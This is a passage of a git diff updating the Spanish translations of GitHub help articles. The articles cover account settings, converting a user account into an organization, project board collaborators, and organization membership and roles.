+5. En "Transform account" (Transformar cuenta), haz clic en **Turn <username> into an organization** (Convertir en una organización). ![Botón para convertir la organización](/assets/images/help/settings/convert-to-organization.png)
+6. En el cuadro de diálogo Account Transformation Warning (Advertencia de transformación de la cuenta), revisa y confirma la confirmación. Ten en cuenta que la información en este cuadro es la misma que la advertencia en la parte superior de este artículo. ![Advertencia de conversión](/assets/images/help/organizations/organization-account-transformation-warning.png)
+7. En la página "Transform your user into an organization" (Transformar tu usuario en una organización), debajo de "Choose an organization owner" (Elegir un propietario de la organización), elige la cuenta personal secundaria que creaste en la sección anterior u otro usuario en quien confías para administrar la organización. ![Página Add organization owner (Agregar propietario de la organización)](/assets/images/help/organizations/organization-add-owner.png)
+8. Escoge la nueva suscripción de la organización y escribe tu información de facturación si se te solicita.
+9. Haz clic en **Create Organization** (Crear organización).
+10. Inicia sesión en la nueva cuenta de usuario que creaste en el paso uno, luego usa el cambiador de contexto para acceder a la organización nueva.
 
 {% tip %}
 
-**Tip**: When you convert a user account into an organization, we'll add collaborators on repositories that belong to the account to the new organization as *outside collaborators*. You can then invite *outside collaborators* to become members of your new organization if you wish. For more information, see "[Roles in an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#outside-collaborators)."
+**Sugerencia**: Cuando conviertas una cuenta de usuario en una organización, agregaremos los colaboradores a los repositorios que le pertenecen a la cuenta de la nueva organización como *colaboradores externos*. Luego puedes invitar a los *colaboradores externos* para que se conviertan en miembros de la organización nueva, si así lo deseas. Para obtener más información, consulta la sección "[Roles en una organización](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#outside-collaborators)".
 
 {% endtip %}
 
-## Further reading
-- "[Setting up teams](/articles/setting-up-teams)"
-{% ifversion fpt or ghec %}- "[Inviting users to join your organization](/articles/inviting-users-to-join-your-organization)"{% endif %}
-- "[Accessing an organization](/articles/accessing-an-organization)"
+## Leer más
+- "[Configurar equipos](/articles/setting-up-teams)"
+{% ifversion fpt or ghec %}- "[Invitar usuarios a unirse a tu organización](/articles/inviting-users-to-join-your-organization)"{% endif %}
+- "[Acceder a una organización](/articles/accessing-an-organization)"
diff --git a/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/index.md b/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/index.md
index 5869a719ec..33082dd0db 100644
--- a/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/index.md
+++ b/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/index.md
@@ -1,6 +1,6 @@
 ---
-title: Managing user account settings
-intro: 'You can change several settings for your personal account, including changing your username and deleting your account.'
+title: Administrar las configuraciones del usuario de la cuenta
+intro: 'Puedes cambiar varias configuraciones de tu cuenta personal, lo que incluye cambiar tu nombre de usuario y eliminar tu cuenta.'
 redirect_from:
   - /categories/29/articles
   - /categories/user-accounts
@@ -30,6 +30,6 @@ children:
   - /integrating-jira-with-your-personal-projects
   - /best-practices-for-leaving-your-company
   - /what-does-the-available-for-hire-checkbox-do
-shortTitle: User account settings
+shortTitle: Configuración de cuenta de usuario
 ---
 
diff --git a/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-access-to-your-user-accounts-project-boards.md b/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-access-to-your-user-accounts-project-boards.md
index e41dec9831..bf8eb32851 100644
--- a/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-access-to-your-user-accounts-project-boards.md
+++ b/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-access-to-your-user-accounts-project-boards.md
@@ -1,6 +1,6 @@
 ---
-title: Managing access to your user account's project boards
-intro: 'As a project board owner, you can add or remove a collaborator and customize their permissions to a project board.'
+title: Administrar el acceso a los tableros de proyecto de tu cuenta de usuario
+intro: 'Como propietario de un tablero de proyecto, puedes agregar o eliminar a un colaborador y personalizar sus permisos a un tablero de proyecto.'
 redirect_from:
   - /articles/managing-project-boards-in-your-repository-or-organization
   - /articles/managing-access-to-your-user-account-s-project-boards
@@ -14,23 +14,22 @@ versions:
   ghec: '*'
 topics:
   - Accounts
-shortTitle: Manage access project boards
+shortTitle: Administrar el acceso a los tableros de proyecto
 ---
-A collaborator is a person who has permissions to a project board you own. A collaborator's permissions will default to read access. For more information, see "[Permission levels for user-owned project boards](/articles/permission-levels-for-user-owned-project-boards)."
 
-## Inviting collaborators to a user-owned project board
+Un colaborador es una persona que tiene permisos a tablero de proyecto de tu propiedad. Un colaborador tendrá como predeterminado permisos de acceso de lectura. Para obtener más información, consulta "[Niveles de permiso para tableros de proyecto propiedad del usuario](/articles/permission-levels-for-user-owned-project-boards)."
 
-1. Navigate to the project board where you want to add an collaborator.
+## Invitar a colaboradores a un tablero de proyecto propiedad del usuario
+
+1. Navegua hasta el tablero de proyecto donde deseas agregar a un colaborador.
 {% data reusables.project-management.click-menu %}
 {% data reusables.project-management.access-collaboration-settings %}
 {% data reusables.project-management.collaborator-option %}
-5. Under "Search by username, full name or email address", type the collaborator's name, username, or {% data variables.product.prodname_dotcom %} email.
-   ![The Collaborators section with the Octocat's username entered in the search field](/assets/images/help/projects/org-project-collaborators-find-name.png)
+5. Debajo de "Search by username, full name or email address" (Buscar por nombre de usuario, nombre completo o dirección de correo electrónico), escribe el nombre, el nombre de usuario o el correo electrónico del colaborador {% data variables.product.prodname_dotcom %}. ![La sección Collaborators (Colaboradores) con el nombre de usuario de Octocat ingresado en el campo de búsqueda](/assets/images/help/projects/org-project-collaborators-find-name.png)
 {% data reusables.project-management.add-collaborator %}
-7. The new collaborator has read permissions by default. Optionally, next to the new collaborator's name, use the drop-down menu and choose a different permission level.
-  ![The Collaborators section with the Permissions drop-down menu selected](/assets/images/help/projects/user-project-collaborators-edit-permissions.png)
+7. Por defecto, el nuevo colaborador tiene permisos de lectura. De forma opcional, al lado del nombre del nuevo colaborador, utiliza el menú desplegable y elige un nivel de permiso diferente. ![Sección Colaboradores con el menú desplegable de permisos seleccionado](/assets/images/help/projects/user-project-collaborators-edit-permissions.png)
 
-## Removing a collaborator from a user-owned project board
+## Eliminar a un colaborador de un tablero de proyecto propiedad del usuario
 
 {% data reusables.project-management.click-menu %}
 {% data reusables.project-management.access-collaboration-settings %}
diff --git a/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-accessibility-settings.md b/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-accessibility-settings.md
index b79c2b3be4..9c5c7d324c 100644
--- a/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-accessibility-settings.md
+++ b/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-accessibility-settings.md
@@ -2,8 +2,6 @@
 title: Managing accessibility settings
 intro: 'You can disable character key shortcuts on {% data variables.product.prodname_dotcom %} in your accessibility settings.'
 versions:
-  fpt: '*'
-  ghes: '>=3.4'
   feature: keyboard-shortcut-accessibility-setting
 ---
 
@@ -11,12 +9,11 @@ versions:
 
 {% data variables.product.product_name %} includes a variety of keyboard shortcuts so that you can perform actions across the site without using your mouse to navigate. While shortcuts are useful to save time, they can sometimes make {% data variables.product.prodname_dotcom %} harder to use and less accessible.
 
-All keyboard shortcuts are enabled by default on {% data variables.product.product_name %}, but you can choose to disable character key shortcuts in your accessibility settings. This setting does not affect keyboard shortcuts provided by your web browser or {% data variables.product.prodname_dotcom %} shortcuts that use a modifier key such as `control` or `command`.
+All keyboard shortcuts are enabled by default on {% data variables.product.product_name %}, but you can choose to disable character key shortcuts in your accessibility settings. This setting does not affect keyboard shortcuts provided by your web browser or {% data variables.product.prodname_dotcom %} shortcuts that use a modifier key such as <kbd>Control</kbd> or <kbd>Command</kbd>.
 
 ## Managing character key shortcuts
 
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.accessibility_settings %}
-1. Select or deselect the **Enable character key shortcuts** checkbox. 
-   ![Screenshot of the 'Enable character key shortcuts' checkbox](/assets/images/help/settings/disable-character-key-shortcuts.png)
-2. Click **Save**.
+1. Select or deselect the **Enable character key shortcuts** checkbox. ![Screenshot of the 'Enable character key shortcuts' checkbox](/assets/images/help/settings/disable-character-key-shortcuts.png)
+2. Haz clic en **Save ** (guardar).
diff --git a/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-your-theme-settings.md b/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-your-theme-settings.md
index dcf8763603..d8335fc89f 100644
--- a/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-your-theme-settings.md
+++ b/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-your-theme-settings.md
@@ -29,9 +29,7 @@ You may want to use a dark theme to reduce power consumption on certain devices,
 {% endif %}
 
 {% data reusables.user_settings.access_settings %}
-1. In the user settings sidebar, click **Appearance**.
-
-   !["Appearance" tab in user settings sidebar](/assets/images/help/settings/appearance-tab.png)
+{% data reusables.user_settings.appearance-settings %}
 
 1. Under "Theme mode", select the drop-down menu, then click a theme preference.
 
diff --git a/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/merging-multiple-user-accounts.md b/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/merging-multiple-user-accounts.md
index 57084beb98..baf34206bf 100644
--- a/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/merging-multiple-user-accounts.md
+++ b/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/merging-multiple-user-accounts.md
@@ -20,6 +20,12 @@ shortTitle: Merge multiple user accounts
 
 {% endtip %}
 
+{% warning %}
+
+**Warning:** Organization and repository access permissions aren't transferable between accounts. If the account you want to delete has an existing access permission, an organization owner or repository administrator will need to invite the account that you want to keep.
+
+{% endwarning %}
+
 1. [Transfer any repositories](/articles/how-to-transfer-a-repository) from the account you want to delete to the account you want to keep. Issues, pull requests, and wikis are transferred as well. Verify the repositories exist on the account you want to keep.
 2. [Update the remote URLs](/github/getting-started-with-github/managing-remote-repositories) in any local clones of the repositories that were moved.
 3. [Delete the account](/articles/deleting-your-user-account) you no longer want to use.
diff --git a/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/permission-levels-for-a-user-account-repository.md b/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/permission-levels-for-a-user-account-repository.md
index ad89e73102..08fa6a7891 100644
--- a/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/permission-levels-for-a-user-account-repository.md
+++ b/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/permission-levels-for-a-user-account-repository.md
@@ -37,11 +37,11 @@ The repository owner has full control of the repository. In addition to the acti
 | Limit interactions with the repository | "[Limiting interactions in your repository](/communities/moderating-comments-and-conversations/limiting-interactions-in-your-repository)" |{% endif %}{% ifversion fpt or ghes > 3.0 or ghae or ghec %}
 | Rename a branch, including the default branch | "[Renaming a branch](/github/administering-a-repository/renaming-a-branch)" |{% endif %}
 | Merge a pull request on a protected branch, even if there are no approving reviews | "[About protected branches](/github/administering-a-repository/about-protected-branches)" |
-| Delete the repository | "[Deleting a repository](/github/administering-a-repository/deleting-a-repository)" |
+| Delete the repository | "[Deleting a repository](/repositories/creating-and-managing-repositories/deleting-a-repository)" |
 | Manage the repository's topics | "[Classifying your repository with topics](/github/administering-a-repository/classifying-your-repository-with-topics)" |{% ifversion fpt or ghec %}
 | Manage security and analysis settings for the repository | "[Managing security and analysis settings for your repository](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository)" |{% endif %}{% ifversion fpt or ghec %}
-| Enable the dependency graph for a private repository | "[Exploring the dependencies of a repository](/github/visualizing-repository-data-with-graphs/exploring-the-dependencies-of-a-repository#enabling-and-disabling-the-dependency-graph-for-a-private-repository)" |{% endif %}{% ifversion fpt or ghes > 3.0 or ghec %}
-| Delete and restore packages | "[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package)" |{% endif %}{% ifversion ghes = 3.0 or ghae %}
+| Enable the dependency graph for a private repository | "[Exploring the dependencies of a repository](/github/visualizing-repository-data-with-graphs/exploring-the-dependencies-of-a-repository#enabling-and-disabling-the-dependency-graph-for-a-private-repository)" |{% endif %}{% ifversion fpt or ghes > 3.1 or ghec or ghae %}
+| Delete and restore packages | "[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package)" |{% endif %}{% ifversion ghes < 3.1 %}
 | Delete packages | "[Deleting packages](/packages/learn-github-packages/deleting-a-package)" |{% endif %}
 | Customize the repository's social media preview | "[Customizing your repository's social media preview](/github/administering-a-repository/customizing-your-repositorys-social-media-preview)" |
 | Create a template from the repository | "[Creating a template repository](/github/creating-cloning-and-archiving-repositories/creating-a-template-repository)" |{% ifversion fpt or ghes or ghae-issue-4864 or ghec %}
diff --git a/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/about-organization-membership.md b/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/about-organization-membership.md
index 47f926a386..3696dad246 100644
--- a/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/about-organization-membership.md
+++ b/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/about-organization-membership.md
@@ -1,6 +1,6 @@
 ---
-title: About organization membership
-intro: You can become a member of an organization to collaborate with coworkers or open-source contributors across many repositories at once.
+title: Acerca de la membresía de una organización
+intro: Puedes convertirte en miembro de una organización para colaborar con los compañeros de trabajo o los colaboradores de código abierto en muchos repositorios a la vez.
 redirect_from:
   - /articles/about-organization-membership
   - /github/setting-up-and-managing-your-github-user-account/about-organization-membership
@@ -12,41 +12,42 @@ versions:
   ghec: '*'
 topics:
   - Accounts
-shortTitle: Organization membership
+shortTitle: Membresía de la organización
 ---
-An organization owner can invite you to join their organization as a member, billing manager, or owner. An organization owner or member with admin privileges for a repository can invite you to collaborate in one or more repositories as an outside collaborator. For more information, see "[Roles in an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization)."
 
-You can access organizations you're a member of on your profile page. For more information, see "[Accessing an organization](/articles/accessing-an-organization)."
+Un propietario de la organización puede invitarte a unirte a su organización como miembro, gerente de facturación o propietario. Un miembro o propietario de la organización con privilegios de administrador para un repositorio puede invitarte a colaborar en uno o más repositorios como un colaborador externo. Para obtener más información, consulta la sección "[Roles en una organización](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization)".
 
-When you accept an invitation to join an organization, the organization owners may be able to see:
+Puedes acceder a las organizaciones de las que eres miembro en tu página de perfil. Para obtener más información, consulta "[Acceder a una organización](/articles/accessing-an-organization)".
 
-- Your public profile information
-- Your email address
-- If you have two-factor authorization enabled
-- Repositories you have access to within the organization, and your access level
-- Certain activity within the organization
-- Country of request origin
-- Your IP address
+Cuando aceptas una invitación para unirte a una organización, el propietario de la organización puede ver lo siguiente:
 
-For more information, see the <a href="/articles/github-privacy-statement/" class="dotcom-only">{% data variables.product.prodname_dotcom %} Privacy Statement</a>.
+- La información de tu perfil público.
+- Tu dirección de correo electrónico.
+- Si tienes la autorización de dos factores activada.
+- Los repositorios a los que tienes acceso dentro de la organización y tu nivel de acceso.
+- Ciertas actividades dentro de la organización.
+- País del origen de la solicitud.
+- Tu dirección IP.
+
+Para obtener más información, consulta la <a href="/articles/github-privacy-statement/" class="dotcom-only">{% data variables.product.prodname_dotcom %} Declaración de privacidad</a>.
 
   {% note %}
 
-  **Note:** Owners are not able to view member IP addresses in the organization's audit log. In the event of a security incident, such as an account compromise or inadvertent sharing of sensitive data, organization owners may request details of access to private repositories. The information we return may include your IP address.
+  **Nota:** Los propietarios no pueden ver las direcciones IP del miembro en el registro de auditoría de la organización. En el caso de un incidente de seguridad, como una cuenta comprometida o la divulgación involuntaria de datos confidenciales, los propietarios de la organización pueden solicitar los detalles de acceso a los repositorios privados. La información que devolvemos puede incluir tu dirección IP.
 
   {% endnote %}
 
-By default, your organization membership visibility is set to private. You can choose to publicize individual organization memberships on your profile. For more information, see "[Publicizing or hiding organization membership](/articles/publicizing-or-hiding-organization-membership)."
+Por defecto, la visibilidad de los miembros de tu organización se establece como privada. Puede elegir publicar miembros individuales de la organización en tu perfil. Para obtener más información, consulta "[Publicar u ocultar los miembros de la organización](/articles/publicizing-or-hiding-organization-membership)".
 
 {% ifversion fpt or ghec %}
 
-If your organization belongs to an enterprise account, you are automatically a member of the enterprise account and visible to enterprise account owners. For more information, see "[About enterprise accounts](/admin/overview/about-enterprise-accounts)."
+Si tu organización pertenece a una cuenta de empresa, automáticamente eres un miembro de la cuenta de empresa y visible para los propietarios de la cuenta de empresa. Para obtener más información, consulta la sección "[Acerca de las cuentas empresariales](/enterprise-cloud@latest/admin/overview/about-enterprise-accounts){% ifversion fpt %}" en la documentación de {% data variables.product.prodname_ghe_cloud %}.{% else %}".{% endif %}
 
 {% endif %}
 
-You can leave an organization at any time. For more information, see "[Removing yourself from an organization](/articles/removing-yourself-from-an-organization)."
+Puedes dejar una organización en cualquier momento. Para obtener más información, consulta "[Cómo eliminarte de una organización](/articles/removing-yourself-from-an-organization)".
 
-## Further reading
+## Leer más
 
-- "[About organizations](/articles/about-organizations)"
-- "[Managing your membership in organizations](/articles/managing-your-membership-in-organizations)"
+- "[Acerca de las organizaciones](/articles/about-organizations)"
+- "[Administrar tu membresía en organizaciones](/articles/managing-your-membership-in-organizations)"
diff --git a/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/accessing-an-organization.md b/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/accessing-an-organization.md
index 06aab78e62..bb7cc0e20a 100644
--- a/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/accessing-an-organization.md
+++ b/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/accessing-an-organization.md
@@ -1,6 +1,6 @@
 ---
-title: Accessing an organization
-intro: 'To access an organization that you''re a member of, you must sign in to your personal user account.'
+title: Acceder a una organización
+intro: 'Para acceder a una organización de la que eres miembro, debes iniciar sesión en tu cuenta de usuario personal.'
 redirect_from:
   - /articles/error-cannot-log-in-that-account-is-an-organization
   - /articles/cannot-log-in-that-account-is-an-organization
@@ -16,9 +16,10 @@ versions:
 topics:
   - Accounts
 ---
+
 {% tip %}
 
-**Tip:** Only organization owners can see and change the account settings for an organization.
+**Sugerencia:** Solo los propietarios de la organización pueden ver y cambiar los parámetros de la cuenta para una organización.
 
 {% endtip %}
 
diff --git a/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/publicizing-or-hiding-organization-membership.md b/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/publicizing-or-hiding-organization-membership.md
index 0f06761832..2753328578 100644
--- a/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/publicizing-or-hiding-organization-membership.md
+++ b/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/publicizing-or-hiding-organization-membership.md
@@ -1,6 +1,6 @@
 ---
-title: Publicizing or hiding organization membership
-intro: 'If you''d like to tell the world which organizations you belong to, you can display the avatars of the organizations on your profile.'
+title: Divulgar u ocultar membresía de la organización
+intro: 'Si te gustaría decirle al mundo a qué organizaciones perteneces, puedes mostrar los avatares de las organizaciones en tu perfil.'
 redirect_from:
   - /articles/publicizing-or-concealing-organization-membership
   - /articles/publicizing-or-hiding-organization-membership
@@ -13,18 +13,17 @@ versions:
   ghec: '*'
 topics:
   - Accounts
-shortTitle: Show or hide membership
+shortTitle: Mostrar u ocultar la membrecía
 ---
-![Profile organizations box](/assets/images/help/profile/profile_orgs_box.png)
 
-## Changing the visibility of your organization membership
+![Casilla de perfil de organizaciones](/assets/images/help/profile/profile_orgs_box.png)
+
+## Cambiar la visibilidad de la membresía de tu organización
 
 {% data reusables.profile.access_org %}
 {% data reusables.user_settings.access_org %}
 {% data reusables.organizations.people %}
-4. Locate your username in the list of members. If the list is large, you can search for your username in the search box.
-![Organization member search box](/assets/images/help/organizations/member-search-box.png)
-5. In the menu to the right of your username, choose a new visibility option:
-    - To publicize your membership, choose **Public**.
-    - To hide your membership, choose **Private**.
-  ![Organization member visibility link](/assets/images/help/organizations/member-visibility-link.png)
+4. Ubica tu nombre de usuario en la lista de miembros. Si la lista es grande, puedes buscar tu nombre de usuario en la casilla de búsqueda. ![Casilla de búsqueda de miembro de la organización](/assets/images/help/organizations/member-search-box.png)
+5. En el menú a la derecha de tu nombre de usuario, elige una nueva opción de visibilidad:
+    - Para divulgar tu membresía, elige **Public (Pública)**.
+    - Para esconder tu membresía, elige **Private (Privada)**. ![Enlace de visibilidad de un miembro de la organización](/assets/images/help/organizations/member-visibility-link.png)
diff --git a/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/removing-yourself-from-an-organization.md b/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/removing-yourself-from-an-organization.md
index c2db6f82ee..80749a6d38 100644
--- a/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/removing-yourself-from-an-organization.md
+++ b/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/removing-yourself-from-an-organization.md
@@ -1,6 +1,6 @@
 ---
-title: Removing yourself from an organization
-intro: 'If you''re an outside collaborator or a member of an organization, you can leave the organization at any time.'
+title: Eliminarte de una organización
+intro: 'Si eres colaborador externo o miembro de una organización, puedes abandonar la organización en cualquier momento.'
 redirect_from:
   - /articles/how-do-i-remove-myself-from-an-organization
   - /articles/removing-yourself-from-an-organization
@@ -13,15 +13,16 @@ versions:
   ghec: '*'
 topics:
   - Accounts
-shortTitle: Leave an organization
+shortTitle: Dejar una organización
 ---
+
 {% ifversion fpt or ghec %}
 
 {% warning %}
 
-**Warning:** If you're currently responsible for paying for {% data variables.product.product_name %} in your organization, removing yourself from the organization **does not** update the billing information on file for the organization. If you are currently responsible for billing, **you must** have another owner or billing manager for the organization [update the organization's payment method](/articles/adding-or-editing-a-payment-method).
+**Advertencia:** Si actualmente eres responsable de pagar {% data variables.product.product_name %} en tu organización, eliminarte de la organización **no** actualiza la información de facturación archivada de la organización. Si actualmente eres responsable de la facturación, **debes** hacer que otro propietario o gerente de facturación de la organización [actualice el método de pago de la organización](/articles/adding-or-editing-a-payment-method).
 
-For more information, see "[Transferring organization ownership](/articles/transferring-organization-ownership)."
+Para obtener más información, consulta "[Transferir la propiedad de la organización](/articles/transferring-organization-ownership)".
 
 {% endwarning %}
 
@@ -29,5 +30,4 @@ For more information, see "[Transferring organization ownership](/articles/trans
 
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.organizations %}
-3. Under "Organizations", find the organization you'd like to remove yourself from, then click **Leave**.
-  ![Leave organization button with roles shown](/assets/images/help/organizations/context-leave-organization-with-roles-shown.png)
+3. En "Organizations" (Organizaciones), busca la organización de la que quieres eliminarte, luego haz clic en **Leave** (Abandonar). ![Botón Leave organization (Abandonar organización) con roles exhibidos](/assets/images/help/organizations/context-leave-organization-with-roles-shown.png)
diff --git a/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/requesting-organization-approval-for-oauth-apps.md b/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/requesting-organization-approval-for-oauth-apps.md
index 9571f2179e..3bd83d9003 100644
--- a/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/requesting-organization-approval-for-oauth-apps.md
+++ b/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/requesting-organization-approval-for-oauth-apps.md
@@ -1,6 +1,6 @@
 ---
-title: Requesting organization approval for OAuth Apps
-intro: 'Organization members can request that an owner approve access to organization resources for {% data variables.product.prodname_oauth_app %}.'
+title: Solicitar aprobación de la organización para OAuth Apps
+intro: 'Los miembros de la organización pueden solicitar que un propietario apruebe el acceso a los recursos de la organización para {% data variables.product.prodname_oauth_app %}.'
 redirect_from:
   - /articles/requesting-organization-approval-for-third-party-applications
   - /articles/requesting-organization-approval-for-your-authorized-applications
@@ -12,20 +12,18 @@ versions:
   ghec: '*'
 topics:
   - Accounts
-shortTitle: Request OAuth App approval
+shortTitle: Solicitar la aprobación de OAuth
 ---
-## Requesting organization approval for an {% data variables.product.prodname_oauth_app %} you've already authorized for your personal account
+
+## Solicitar aprobación de la organización para una {% data variables.product.prodname_oauth_app %} que ya has autorizado para tu cuenta personal
 
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.access_applications %}
 {% data reusables.user_settings.access_authorized_oauth_apps %}
-3. In the list of applications, click the name of the {% data variables.product.prodname_oauth_app %} you'd like to request access for.
-![View application button](/assets/images/help/settings/settings-third-party-view-app.png)
-4. Next to the organization you'd like the {% data variables.product.prodname_oauth_app %} to access, click **Request access**.
-![Request access button](/assets/images/help/settings/settings-third-party-request-access.png)
-5. After you review the information about requesting {% data variables.product.prodname_oauth_app %} access, click **Request approval from owners**.
-![Request approval button](/assets/images/help/settings/oauth-access-request-approval.png)
+3. En la lista de aplicaciones, haz clic en el nombre de la {% data variables.product.prodname_oauth_app %} para la que quieres solicitar acceso. ![Botón View application (Ver aplicación)](/assets/images/help/settings/settings-third-party-view-app.png)
+4. Al lado de la organización a la que quieres que {% data variables.product.prodname_oauth_app %} acceda, haz clic en **Request access** (Solicitar acceso). ![Botón Request access (Solicitar acceso)](/assets/images/help/settings/settings-third-party-request-access.png)
+5. Después de revisar la información acerca de solicitarle a {% data variables.product.prodname_oauth_app %} acceso, haz clic en **Request approval from owners** (Solicitar aprobación de los propietarios). ![Botón Request approval (Solicitar aprobación)](/assets/images/help/settings/oauth-access-request-approval.png)
 
-## Further reading
+## Leer más
 
-- "[About {% data variables.product.prodname_oauth_app %} access restrictions](/articles/about-oauth-app-access-restrictions)"
+- "[Acerca de las restricciones de acceso a {% data variables.product.prodname_oauth_app %}](/articles/about-oauth-app-access-restrictions)"
diff --git a/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/viewing-peoples-roles-in-an-organization.md b/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/viewing-peoples-roles-in-an-organization.md
index bbff7062cd..97026ec299 100644
--- a/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/viewing-peoples-roles-in-an-organization.md
+++ b/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/viewing-peoples-roles-in-an-organization.md
@@ -1,6 +1,7 @@
 ---
 title: Ver los roles de las personas en una organización
-intro: 'Puedes ver una lista de personas en tu organización y filtrar por su rol. For more information on organization roles, see "[Roles in an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization)."'
+intro: 'Puedes ver una lista de personas en tu organización y filtrar por su rol. Para obtener más información sobre los roles de organización, consulta "[Roles en una organización](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization)".'
+permissions: Organization members can see people's roles in the organization.
 redirect_from:
   - /articles/viewing-people-s-roles-in-an-organization
   - /articles/viewing-peoples-roles-in-an-organization
@@ -16,13 +17,48 @@ topics:
 shortTitle: Visualizar a las personas en una organización
 ---
 
-{% note %}
-
-**Nota:** debes ser miembro de una organización para ver los roles de las personas en tu organización.
-
-{% endnote %}
+## Ver los roles de la organización
 
 {% data reusables.profile.access_org %}
 {% data reusables.user_settings.access_org %}
 {% data reusables.organizations.people %}
 4. Verás una lista de personas en tu organización. Para filtrar esta lista por rol, haz clic en **Role (Rol)** y seleccionar el rol que estás buscando. ![click-role](/assets/images/help/organizations/view-list-of-people-in-org-by-role.png)
+
+{% ifversion fpt %}
+
+Si tu organización utiliza {% data variables.product.prodname_ghe_cloud %}, también puedes ver a los propietarios de la empresa que administran los ajustes de facturación y las políticas para todas las organizaciones de esta. Para obtener más información, consulta la [documentación de {% data variables.product.prodname_ghe_cloud %}](/enterprise-cloud@latest/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/viewing-peoples-roles-in-an-organization#view-enterprise-owners-and-their-roles-in-an-organization).
+
+{% endif %}
+
+{% if enterprise-owners-visible-for-org-members %}
+## Ver a los propietarios de la empresa y sus roles en la organización
+
+Si una cuenta empresarial administra tu organización, entonces puedes ver a los propietarios de la empresa que administran los ajustes de facturación y las políticas de todas las organizaciones de esta. Para obtener más información sobre las cuentas empresariales, consulta la sección "[Tipos de cuenta de {% data variables.product.prodname_dotcom %}](/get-started/learning-about-github/types-of-github-accounts)".
+
